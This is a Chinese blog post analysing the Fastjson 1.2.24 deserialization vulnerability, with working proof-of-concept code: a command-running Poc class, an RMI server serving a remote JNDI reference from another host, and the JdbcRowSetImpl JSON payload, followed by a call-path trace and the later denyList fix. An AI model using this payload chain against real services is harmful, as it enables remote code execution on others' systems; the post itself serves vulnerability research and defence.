Fastjson 1.2.24 反序列化漏洞研究

一、概述

fastjson自2017年爆出序列化漏洞以来,漏洞就一直停不下来。本次主要研究2017年第一次爆出反序列化漏洞。

二、漏洞复现

  首先在本机简单进行下漏洞复现。

2.1 创建Poc类

该类为最终触发利用代码的类,因为是通过JAVA RMI方式读取,所以该类需继承UnicastRemoteObject。该对象执行后会在windows环境中弹出计算器。使用javac编译Poc类,生成Poc.class文件。并启用一个简单的Http服务,提供读取Poc.class文件,通过http://10.2.13.27:8888/Poc.class可成功访问到Poc.class文件

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Poc extends UnicastRemoteObject{
    
    public Poc() throws RemoteException{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args){
        try {
            Poc poc = new Poc();
        }catch (Exception e){
            e.printStackTrace();
        }
        
    }
}

2.2 创建RMI服务端

public class RMIService {
    
    public static void main(String[] args){
        try {
            //netPoc poc = new Poc();
            Registry registry = LocateRegistry.createRegistry(10999);
            //JdbcRowSetImpl中是通过jndi lookup方法进行代码注入
            Reference reference = new Reference("Poc","Poc","http://10.2.13.27:8888/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("Poc",referenceWrapper);
            System.out.println("bind 10999....");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    
}

2.3 示例代码

若Jdk版本高于8u113需要添加 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true") ,否则将不会成功。因为高版本jdk禁止了RMI协议使用远程codebase。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

/**
 * 利用JdbcRowSetImpl进行反序列化,但高版本jdk无法成功JDK 6u132, 7u122, or 8u113
 * */
public  class FastJsonService {
    public static void main(String[] args){
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //JdbcRowSetImpl
        String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
        JSONObject jsonObject = JSON.parseObject(str);
    }
    
}

2.4 运行效果

三、漏洞分析 

3.1 总体分析

fastjson主要用来进行序列化和反序列化操作。本次漏洞利用主要是反序列化模块,当我们传入一个json字符串时

"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";

因json中指定了@type参数,故fastjson会尝试将该字符串反序列化为JdbcRowSetImpl类对象,并调用类中的set方法对dataSourceName和autoCommit属性进行赋值。
fastjson进行反序列化时,如果类中存在无参构造函数,则直接调用无参构造函数进行初始化类。若不存在无参构造函数,则会寻找参数最多的构造函数进行初始化类。

故会直接调用JdbcRowSetImpl类中的无参构造函数进行类初始化。可看到conn设置为null。所以setAutoCommit方法会进入else中,即调用 this.conn = this.connect(); 

在connect()中可以看到会调用JNDI的lookup函数,并且参数值为我们反序列化时传入的dataSourceName属性,dataSourceName传入值为rmi://10.2.13.27:10999/Poc,所以最终会成功执行到我们编写的Poc类。

3.2 详细分析  

首先,借用别人画的fastjson部分类关系图

鉴于我们的Payload最终是 Runtime.getRuntime.exec("calc") ,所以我们在Runtime类的exec方法中设置断点并启动调试模式

完整调用路径如下图,我们跟踪下调用过程

3.2.1 JSON 

首先调用JSON对象,依次为  parseObject(String text)-->parse(String text)->parse(String text,int featrues) ,其中text为我们输入的 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true}  ,features为989

在parse(String text,int features)中调用 DefaultJSONParser parser=new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features); 

首先初始化了一个DefaultJSONParser的对象,调用的是DefaultJSONParser的三参数构造函数,在DefaultJSONParser构造函数中调用了 new JSONScanner(input,features) 

其中input即为我们的输入 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true}  ,features为989

随后调用 DefaultJSONParser(Object input,JSONLexer lexer,ParserConfig config) 
主要将上一步生成的JSONScanner对象赋值给JSONlexer对象lexer并进行一些初始化操作,ch设置为‘{’,token设置为JSONTOKEN.LBRACE即12

至此 new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features) 完成。
下一步进入JSON类的 parse(String text,int features) 的 Object value=parser.parse()  ,即DefaultJSONParse类的parse()方法

3.2.2 DefaultJSONParse

继续进入 parse()--》parse(ObjectfieldName) ,上一步DefaultJSONParse初始化时,token设置成JSONTOKEN.LBRACE

随后进入 parseObject(object,fieldName) ,通过 scanSymbol 获取到 “@type” 

再获取到我们payload中@type的值为"com.sun.rowset.JdbcRowSetImpl",并通过loadClass加载

随后进入

3.2.3 JavaBeanDeserializer

进入JavaBeanDeserializer的deserialze方法,并执行到 boolean match = parseField(parser, key, object, type, fieldValues); 

 一路跟踪,最后进入 public void setValue(Object object, Object value)  方法,method即为我们传入的JdbcRowSetImpl.setAutoCommit,value即为true。最终会调用传入类的set方法进行赋值,即最终调用setAutoCommit(true)。

至此,就进入我们在3.1中对jdbcRowSetImpl类的setAutoCommit方法的分析,最终导致了远程代码执行。

四、漏洞预防

fastjson在1.2.25开始的版本中新增 public Class<?> checkAutoType(String typeName, Class<?> expectClass) 方法,denyList数组中的类均无法进行反序列化,但仍然存在绕过checkAutoType方法的途径,也导致后续fastjson漏洞不断。

private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(","); 

若要避免fastjson已知漏洞,请直接升级到最新版。

  • 30
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
根据提供的引用内容,fastjson反序列化漏洞是一种安全漏洞,攻击者可以利用该漏洞在目标系统上执行恶意代码。下面是fastjson反序列化漏洞的复现过程[^1][^2]: 1. 判断是否使用Fastjson以及Fastjson版本:首先需要确定目标系统是否使用了Fastjson,并且确定Fastjson的版本号。可以通过查看项目的依赖文件或者代码中的导入语句来确定。 2. 漏洞复现:根据Fastjson的版本号选择相应的漏洞复现方法。 - Fastjson<1.2.24远程代码执行(CNVD-2017-02833):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中插入恶意的Java代码,并通过反序列化操作执行该代码。 - Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中使用特殊的反射调用方式来执行恶意代码。 3. 防范措施:为了防止fastjson反序列化漏洞的利用,可以采取以下措施: - 及时升级Fastjson版本:Fastjson团队会及时修复漏洞并发布新版本,及时升级到最新版本可以避免被已知漏洞攻击。 - 输入验证和过滤:在接收用户输入并进行反序列化操作之前,对输入进行严格的验证和过滤,确保输入的数据符合预期的格式和内容。 - 使用安全的JSON库:考虑使用其他安全性更高的JSON库,如Jackson或Gson,来替代Fastjson

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值